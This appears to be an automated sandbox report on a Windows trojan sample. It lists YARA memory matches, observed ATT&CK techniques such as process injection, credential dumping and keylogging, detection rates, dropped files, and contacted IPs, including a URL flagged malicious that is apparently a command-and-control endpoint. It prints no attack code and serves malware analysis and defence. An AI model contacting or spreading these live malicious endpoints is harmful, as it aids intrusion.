Source: Yara match	File source: 00000004.00000003.1869033684.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1834401410.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1869983996.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1864418183.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1900087266.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1841618473.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1847727226.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1841102498.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1827293945.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1743171217.00000149E7FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1870384738.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1732715826.000000001B790000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1854099505.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1869304089.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1867316447.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1834870839.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1866723582.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1847055049.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1825117026.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1853395898.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1868087667.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1824744647.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1850823165.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1895202612.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1868687963.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1839012082.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1851414734.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2025877192.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1833649423.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1863393703.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1840151430.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1851882644.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1845622274.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1865585143.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1836791970.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1835346077.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699726B50 bind,WSAGetLastError,closesocket,	0_2_00007FF699726B50
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: 0_2_00007FF699726860 bind,listen,WSAGetLastError,closesocket,	0_2_00007FF699726860
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 9_2_000001C7BCC8CDF4 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,	9_2_000001C7BCC8CDF4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12A6860 bind,listen,WSAGetLastError,closesocket,	12_2_00007FF6D12A6860
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12A6B50 bind,WSAGetLastError,closesocket,	12_2_00007FF6D12A6B50

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	4 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	412 Process Injection	1 Abuse Elevation Control Mechanism	1 Credentials in Registry	17 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	131 Security Software Discovery	Distributed Component Object Model	21 Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	51 Virtualization/Sandbox Evasion	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	51 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	412 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
81zBpBAWwc.exe	39%	ReversingLabs	Win64.Trojan.Generic
81zBpBAWwc.exe	49%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Roaming\ACKq.ini	12%	ReversingLabs
C:\Users\user\AppData\Roaming\ACKq.ini	7%	Virustotal	Browse
C:\Users\user\AppData\Roaming\oc82.ini	12%	ReversingLabs
C:\Users\user\AppData\Roaming\oc82.ini	7%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://aka.ms/winsvr-2022-pshelp	0%	URL Reputation	safe
https://aka.ms/winsvr-2022-pshelp	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
https://discord.com	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://discordapp.com	0%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wm	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1731767660.000001BCF5BF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://discord.com	OpenWith.exe, 00000004.00000003.1884795544.00000149EA402000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/ac/?q=	OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/arti	OpenWith.exe, 00000004.00000003.1870607624.00000149EA3F6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872038255.00000149EA3F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.1731767660.000001BCF5BF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discordapp.com	OpenWith.exe, 00000004.00000003.1884795544.00000149EA402000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1731767660.000001BCF5BF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	OpenWith.exe, 00000004.00000003.1868960261.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868637708.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869190757.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868551752.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1870607624.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869469935.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868848640.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	OpenWith.exe, 00000004.00000003.1874341176.00000149EA2F1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	OpenWith.exe, 00000004.00000003.1874341176.00000149EA2F1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	OpenWith.exe, 00000004.00000003.1868960261.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868637708.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869190757.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868551752.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1870607624.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869469935.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868848640.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://go.mic	regsvr32.exe, 00000003.00000002.1746225647.0000000002717000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	OpenWith.exe, 00000004.00000003.1868960261.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868637708.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869190757.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868551752.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1870607624.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869469935.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868848640.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e1	OpenWith.exe, 00000004.00000003.1870607624.00000149EA3F6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872038255.00000149EA3F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	OpenWith.exe, 00000004.00000003.1869469935.00000149EA3DC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	OpenWith.exe, 00000004.00000003.1868960261.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868637708.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869190757.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868551752.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1870607624.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869469935.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868848640.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.1711944982.000001BCE5DA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000001.00000002.1731767660.000001BCF5BF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1731767660.000001BCF5BF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wmv	OpenWith.exe, 00000004.00000003.1869736232.00000149EA1B5000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1873103195.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872109543.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1885726593.00000149EA1D7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1908967423.00000149EA1C5000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1822622813.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867102224.00000149EA1B3000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.2024260360.00000149EA1C5000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1900428206.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1909073317.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.2024290056.00000149EA1D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.1711944982.000001BCE5B81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	OpenWith.exe, 00000004.00000003.1869469935.00000149EA3DC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1711944982.000001BCE5B81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	OpenWith.exe, 00000004.00000003.1868960261.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868637708.00000149EA3C7000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869190757.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1866926710.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868551752.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1867520826.00000149EA3D4000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1870607624.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1869469935.00000149EA3D6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868848640.00000149EA3C6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.95.178.227	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
94.125.9.47	unknown	Russian Federation	47807	PULKOVO-ASRU	false
195.93.190.6	unknown	Ukraine	15713	GCN-UA	false
3.248.105.39	unknown	United States	16509	AMAZON-02US	false
168.119.209.10	unknown	Germany	24940	HETZNER-ASDE	false
37.120.155.10	unknown	Romania	9009	M247GB	false
99.186.81.111	unknown	United States	7018	ATT-INTERNET4US	false
5.19.249.240	unknown	Russian Federation	41733	ZTELECOM-ASRU	false
31.14.252.246	unknown	Romania	9009	M247GB	false
185.120.145.82	unknown	Romania	9009	M247GB	false
91.92.137.228	unknown	Cyprus	44901	BELCLOUDBG	false
194.26.135.86	unknown	Netherlands	1213	HEANETIE	false
104.233.104.126	unknown	Saudi Arabia	13886	CLOUD-SOUTHUS	false
95.215.44.78	unknown	Latvia	52173	MAKONIXLV	false
8.8.8.8	unknown	United States	15169	GOOGLEUS	false
212.129.41.121	unknown	France	12876	OnlineSASFR	false
103.124.92.249	unknown	Viet Nam	131353	NHANHOA-AS-VNNhanHoaSoftwarecompanyVN	false
87.120.112.80	unknown	Bulgaria	25206	UNACS-AS-BG8000BurgasBG	false
46.249.49.17	unknown	Netherlands	50673	SERVERIUS-ASNL	false
5.161.114.184	unknown	Germany	24940	HETZNER-ASDE	false
136.243.141.187	unknown	Germany	24940	HETZNER-ASDE	false
164.132.42.141	unknown	France	16276	OVHFR	false
185.174.137.12	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
94.232.45.36	unknown	Russian Federation	44477	WELLWEBNL	false
95.24.122.206	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
148.251.8.19	unknown	Germany	24940	HETZNER-ASDE	false
79.125.79.101	unknown	Ireland	16509	AMAZON-02US	false
185.228.233.50	unknown	Russian Federation	64439	ITOS-ASRU	false
92.100.206.10	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
88.196.188.239	unknown	Estonia	3249	ESTPAKEE	false
5.188.118.119	unknown	Russian Federation	49505	SELECTELRU	false
34.246.111.22	unknown	United States	16509	AMAZON-02US	false
79.127.222.216	unknown	Czech Republic	9080	GINCzechRepublicEUCZ	false
54.170.144.10	unknown	United States	16509	AMAZON-02US	false
205.185.116.116	unknown	United States	53667	PONYNETUS	false
138.199.15.153	unknown	European Union	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
41.33.65.206	unknown	Egypt	8452	TE-ASTE-ASEG	false
66.70.179.236	unknown	Canada	16276	OVHFR	false
89.1.161.63	unknown	Germany	8422	NETCOLOGNEDE	false
91.227.77.240	unknown	Poland	197935	PARP-ASPL	false
45.227.255.112	unknown	Panama	43350	NFORCENL	false
54.216.51.54	unknown	United States	16509	AMAZON-02US	false
138.68.105.169	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
96.55.239.247	unknown	Canada	6327	SHAWCA	false
163.172.136.118	unknown	United Kingdom	12876	OnlineSASFR	false
82.102.27.163	unknown	United Kingdom	9009	M247GB	false
199.247.16.86	unknown	European Union	20473	AS-CHOOPAUS	false
81.19.138.213	unknown	Russian Federation	24658	IVC-ASRU	false
34.241.110.200	unknown	United States	16509	AMAZON-02US	false
176.126.113.11	unknown	Ukraine	9063	SAARGATE-ASVSENETGmbHDE	false
188.245.67.250	unknown	Iran (ISLAMIC Republic Of)	16322	PARSONLINETehran-IRANIR	false
194.249.212.109	unknown	Slovenia	2107	ARNES-NETAcademicandResearchNetworkofSloveniaSI	false
45.88.106.247	unknown	Netherlands	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	false
37.187.122.30	unknown	France	16276	OVHFR	false
146.70.224.90	unknown	United Kingdom	2018	TENET-1ZA	false
2.136.107.96	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
95.216.177.210	unknown	Germany	24940	HETZNER-ASDE	false
54.228.90.186	unknown	United States	16509	AMAZON-02US	false
89.210.166.173	unknown	Greece	3329	HOL-GRAthensGreeceGR	false
47.146.159.131	unknown	United States	5650	FRONTIER-FRTRUS	false
62.216.201.17	unknown	Germany	8767	MNET-ASGermanyDE	false
94.233.72.48	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
116.255.38.20	unknown	Australia	24129	SUPERLOOP-AS-APSUPERLOOPAUSTRALIAPTYLTDAU	false
45.129.56.135	unknown	Sweden	39351	ESAB-ASSE	false
141.164.38.70	unknown	United States	20473	AS-CHOOPAUS	false
99.224.99.93	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
136.243.190.131	unknown	Germany	24940	HETZNER-ASDE	false
46.229.52.198	unknown	Ukraine	34056	KIEVNETKievNetISPASUA	false
104.223.122.15	unknown	United States	8100	ASN-QUADRANET-GLOBALUS	true
95.25.63.192	unknown	Russian Federation	3216	SOVAM-ASRU	false
79.236.100.248	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
91.227.18.172	unknown	Russian Federation	207027	EXIMIUS-ASRU	false
146.19.213.122	unknown	France	7726	FITC-ASUS	false
213.159.68.101	unknown	Russian Federation	13078	CTINET-ASCTINETAutonomousSystemRU	false
85.130.224.235	unknown	Israel	8551	BEZEQ-INTERNATIONAL-ASBezeqintInternetBackboneIL	false
188.170.74.198	unknown	Russian Federation	31213	MF-NWGSM-ASRU	false
143.244.42.106	unknown	United States	174	COGENT-174US	false
217.224.92.120	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
185.92.221.198	unknown	France	20473	AS-CHOOPAUS	false
188.241.176.236	unknown	Romania	1653	SUNETSUNETSwedishUniversityNetworkEU	false
94.177.230.163	unknown	Italy	200185	XANDMAIL-ASNDE	false
45.136.49.8	unknown	Estonia	199770	PELUCHE-ASES	false
155.138.145.67	unknown	United States	20473	AS-CHOOPAUS	false
158.247.196.119	unknown	United States	26133	FEWPBUS	false
217.165.73.29	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
193.124.186.205	unknown	Russian Federation	35196	IHOR-ASRU	false
77.239.216.254	unknown	Russian Federation	39799	COMINTEL-ASTyumenRussiaRU	false
104.194.143.68	unknown	United States	53667	PONYNETUS	false
